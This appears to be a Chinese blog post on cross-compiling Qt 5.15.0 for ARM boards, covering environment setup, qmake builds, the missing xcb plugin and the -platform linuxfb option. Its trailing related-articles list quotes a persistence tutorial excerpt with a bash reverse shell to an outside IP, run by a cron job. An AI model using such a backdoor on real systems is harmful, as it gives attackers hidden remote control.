QT5.15.0使用gcc-arm-8.2-2018.08-x86_64-arm-linux-gnueabihf交叉编译的问题总结

news2024/11/28 4:33:12

 

目录

一、交叉编译

二、操作中踩过的坑

1、环境变量未生效

2、交叉编译QT代码操作

3、烧录时报错缺少xcb问题

4、小白的细小错误

三、--platform命令

3、1 -platform linuxfb


详细文档请点击此处 我的文档在原文档的基础上添加了非常详细的提醒,可以少走弯路

github也有,GitHub - aaron201912/Qt5.15_example: Qt5.15 examples for testing.

一、交叉编译

        在嵌入式领域当中使用较为广泛,因为电路板一般使用ARM架构,他的编译与电脑上的QT编译不相同,如果直接将电脑上的QT程序烧录进板子,板子无法运行。
        想要解决这一问题,我们可以在电脑的QT中配置ARM的编译器,使用该编译器编译生成的可执行文件烧录到板子上就可以运行,此过程就是交叉编译。

二、操作中踩过的坑

1、环境变量未生效

        在设置完环境变量后需要重启虚拟机或者使用source指令使他生效(后面路径自己注意)。
source /etc/profile

如果没有生效,后面会出现找不到qmake的错误,或者是触摸屏tslib的编译出错。如下图

2、交叉编译QT代码操作

       在tslib和QT源码编译完成后,我们就可以使用生成的编译器编译我们自己写的代码了。我没有按照文档的教程进行,而是参考了QT跨平台运行之把QT程序交叉编译到ARM开发板_哔哩哔哩_bilibili中的P19集的方法。

在我们自己代码的文件夹里打开终端,在终端中直接输入我们编译QT源码时生成的文件路径,里面有一个qmake。如下,就会在文件夹中生成makefile,接下来就可以执行make进行编译。

/opt/5.15.0/bin/qmake
make

3、烧录时报错缺少xcb问题

        第一次烧录会出现缺少一些库文件,缺什么补什么就行了。比如我的缺少了libts.so.0。

        后面烧录我自己的代码时出现error:Could not find the Qt platform pligin "xcb" in " "问题,如下图

可以在烧录代码前输入以下命令就可以显示更多的提示

export QT_DEBUG_PLUGINS=1

执行后显示更多的错误信息

 得出结论是在烧录自己的代码时它不知道使用什么窗口系统,所以就报错去烧xcb库,在烧录我们的代码时在后面加上后缀-platform linuxfb,如下

./HelloWorld -platform linuxfb

(HelloWorld为自己的代码的可执行文件)

4、小白的细小错误

        必须按照文档把依赖项提前安装完成。以及修改为自己电脑的路径,不要照抄文档的路径中间错了一步都可能导致后面出现奇怪的错误,当出现错误后建议删掉重来。

三、--platform命令

        在Qt中,--platform是一个常用的命令行选项,用于指定Qt在运行时使用的平台。这个选项允许开发者在不同的平台之间切换,以保证应用程序能够像预期一样运行。

        具体来说,如果你要在不同平台上运行Qt应用程序,可以使用--platform选项来指定特定的平台插件。这些平台插件实现了Qt与底层窗口环境之间的交互,并提供一些额外的功能,如硬件加速、输入管理和主题定制等。

        例如,在Linux下,可以使用"--platform wayland" 或者 "--platform xcb" 来分别指定Qt应用程序在wayland或XCB窗口环境下运行。还可以使用"--platform eglfs" 选项,将其构建为适用于嵌入式设备的程序,从而实现更好的性能。

        需要注意的是,在使用--platform选项时,必须确保已经正确安装并启用了相应的平台插件,否则会导致应用程序无法正常运行。

        总之,--platform是一个重要的Qt命令行选项,它能够帮助开发者在不同平台之间轻松实现应用程序的跨平台。

3、1 -platform linuxfb

        在Qt中,"-platform linuxfb" 是一个用于指定Qt程序在Linux Framebuffer环境下运行的选项。

        Frame buffer是Linux下的一种图形设备,它提供了一个标准化的图形界面API,允许开发者使用纯软件方式进行图形渲染,而无需依赖额外的硬件加速和窗口管理器。当应用程序需要在嵌入式平台上运行时,通常会采用 Framebuffer 模式。

        如果你选择在Linux Framebuffer模式下开发Qt程序,可以使用"-platform linuxfb"选项来构建应用程序。该选项将告诉Qt使用linux framebuffer 作为默认的窗口系统,从而实现更高的性能和更低的资源占用。通过使用这个选项,开发者可以轻松地将Qt应用程序部署到嵌入式设备中,并且不需要安装额外的X11服务器、窗口管理器或其他UI框架。

        需要注意的是,在使用"-platform linuxfb"选项时,必须确保已经正确设置并配置好Framebuffer设备和相关的显卡驱动程序。否则,应用程序可能会出现异常,并且不能正常运行。

        总之,"-platform linuxfb"是一个帮助开发者在Linux Framebuffer环境下构建高效、轻量级Qt应用程序的选项。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/550976.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

软件性能测试过程详解与案例剖析

软件性能测试是软件开发过程中至关重要的一环,它能够帮助我们确保软件在不同负载和使用情况下的表现。在软件性能测试中,我们通常会关注软件的响应时间、吞吐量、并发用户数等指标,以评估软件性能。 软件性能测试过程主要分为以下几个步骤&am…

leetcode:322. 零钱兑换(暴力dfs,记忆化dfs,动态规划(朴素+优化),bfs+贪心)

记录常规的完全背包问题模型 1.暴力dfs2.优化dfs,记忆化dfs3.动态规划4.bfs 1.由于每件物品可以无限取,那么可以发现这是一个完全背包问题模型。 1.暴力dfs 最后要求的是:n种硬币,凑成总金额为amount。每种硬币无限取&#xff0…

Java8 教你一行代码搞定:如何计算map中value值

大家好,我是三叔,很高兴这期又和大家见面了,一个奋斗在互联网的打工人。 这期给大家讲一下在Java编程中,如何使用Java8对map的值进行计算,在实际开发中,也是经常遇到统计map中的value值之和。 Map是一种常…

Web安全:文件上传漏洞测试.

Web安全:文件上传漏洞测试. 现在大多的网站和Web应用系统都会有上传功能(比如:文档,图片,头像,视频上传等.),而程序员在开发文件上传功能时,没有对代码做严格校验上传文…

解决大文件传输难题的方法和技巧

传统的传输大文件的方式,如电子邮件附件或USB驱动器,由于文件大小的限制和安全问题,变得越来越不方便。大文件共享是现代商业通信的一个重要方面,组织需要安全可靠的方式来传输这些文件。 传统文件传输方式的不便 传统的文件传输方…

LabVIEWCompactRIO 开发指南27 创建模块化、可重复使用的子VI

LabVIEWCompactRIO 开发指南27 创建模块化、可重复使用的子VI 编写模块化代码几乎总是一个好主意,无论是为Windows、实时还是FPGA设备设计应用程序。子VI使代码更易于调试和故障排除,更易于记录和跟踪更改,并且通常更清晰,更易于…

一文读懂JVM架构解析

JVM 架构解析 Java 架构JVMJVM是如何工作的?类加载器子系统 运行时数据区执行引擎 每个 Java 开发人员都知道字节码经由 JRE(Java运行时环境)执行。但他们或许不知道 JRE 其实是由 Java虚拟机(JVM)实现,JVM…

css3 flex弹性布局学习

一、flex基本概念 当开启flex布局后,项目默认沿主轴排列。单个项目占据的主轴空间叫做main size,占据的交叉轴空间叫做cross size。 二、容器的属性 以下6个属性设置在容器上。 flex-direction flex-wrap flex-flow justify-content align-items align…

LabVIEWCompactRIO 开发指南26 同步循环

LabVIEWCompactRIO 开发指南26 同步循环 对于大多数控制和监视应用,代码执行的时间对于系统的性能和可靠性非常重要。在此电机控制示例中,有两个不同的时钟信号:采样时钟和PID时钟。这些是在应用程序中生成的布尔信号,用于在循环…

【HackTheBox MonitorsTwo】打靶记录

信息搜集 1、nmap 扫描一波 └─# nmap -sC -sV 10.10.11.211 Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-14 20:55 EDT Nmap scan report for 10.10.11.211 Host is up (0.25s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 2…

[NodeJS] 优缺点及适用场景讨论

概述: NodeJS宣称其目标是“旨在提供一种简单的构建可伸缩网络程序的方法”,那么它的出现是为了解决什么问题呢,它有什么优缺点以及它适用于什么场景呢? 本文就个人使用经验对这些问题进行探讨。 一. NodeJS的特点 我们先来看看N…

【数据结构】广度优先遍历(BFS)模板及其讲解

🎊专栏【数据结构】 🍔喜欢的诗句:更喜岷山千里雪 三军过后尽开颜。 🎆音乐分享【勋章】 大一同学小吉,欢迎并且感谢大家指出我的问题🥰 目录 🎁定义 🎁遍历方法 🎁根…

Hadoop基础学习---3、HDFS概述、HDFS的Shell操作、HDFS的API操作

1、HDFS概述 1.1 HDFS产出背景及定义 1、HDFS产生背景 随着数据量越来越大,在一个操作系统存不住所有的数据,那么就分配到更多的操作系统管理的磁盘中,但是不方便管理和维护,迫切需要一种系统来管理多台机器上的文件&#xff0c…

记 LCG 例题

文章目录 题一(seed,a,b,n,c)题二(a,b,n,c)题三(a,n,output[6],output[7])题四(n,output)题五(output)题六(output)题七(二元LCG)题八(三元LCG) (PS:网上有很多原理,这里就不过多赘述了&#xf…

【C++】 设计模式(单例模式、工厂模式)

文章目录 设计模式概念单例模式懒汉式方法一方法二总结 饿汉式单例模式的优点 工厂模式概念简单工厂工厂方法抽象工厂三种工厂方法的总结 设计模式 概念 设计模式是由先人总结的一些经验规则,被我们反复使用后、被多数人知晓认可的、然后经过分类编排,…

内网渗透之Linux权限维持-Rootkit后门Strace监控Alias别名Cron定时任务

0x01-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1.编辑后门反弹 vim /etc/.xiaodi.sh #!/bin/bash bash -i >& /dev/tcp/47.94.236.117/3333 0>&1chmod x /etc/.1.sh2.添加定时任务 vim /etc/crontab */1 * * * * root /etc/.1.sh3.kali nc开启…

真题详解(语法分析输入记号流)-软件设计(八十)

真题详解(求叶子结点数)-软件设计(七十九)https://blog.csdn.net/ke1ying/article/details/130787349?spm1001.2014.3001.5501 极限编程XP最佳实践: 测试先行、 按日甚至按小时为客户提供可运行的版本。 组件图的 插座 和插头…

基于 SpringBoot + VUE 【爱音乐管理系统】 平台设计与实现

免费领取源码参考论文 基于SpringBoot VUE 【爱音乐管理系统】 博主介绍: 🚀自媒体 JavaPub 独立维护人,全网粉丝25w,csdn博客专家、java领域优质创作者,前51ctoTOP10博主,知乎/掘金/华为云/阿里云/InfoQ等…

017+C语言中函数栈帧的创建与销毁(VS2022环境)

0.前言 您好,这里是limou3434的一篇个人博文,感兴趣的话您也可以看看我的其他文章。本次我将和您一起学习在C语言中函数栈帧的概念。 1.学习函数栈帧的意义 局部变量是怎么穿创建的?为什么局部变量的值是随机的函数是怎么传参的&#xff1…

【Hadoop】四、Hadoop生态综合案例 ——陌陌聊天数据分析

文章目录 四、Hadoop生态综合案例 ——陌陌聊天数据分析1、陌陌聊天数据分析案例需求1.1、背景介绍1.2、目标需求1.3、数据内容 2、基于Hive数仓实现需求开发2.1、建库建表、加载数据2.2、ETL数据清洗2.3、需求指标统计 3、FineBI实现可视化报表3.1、FineBI的介绍及安装3.2、Fi…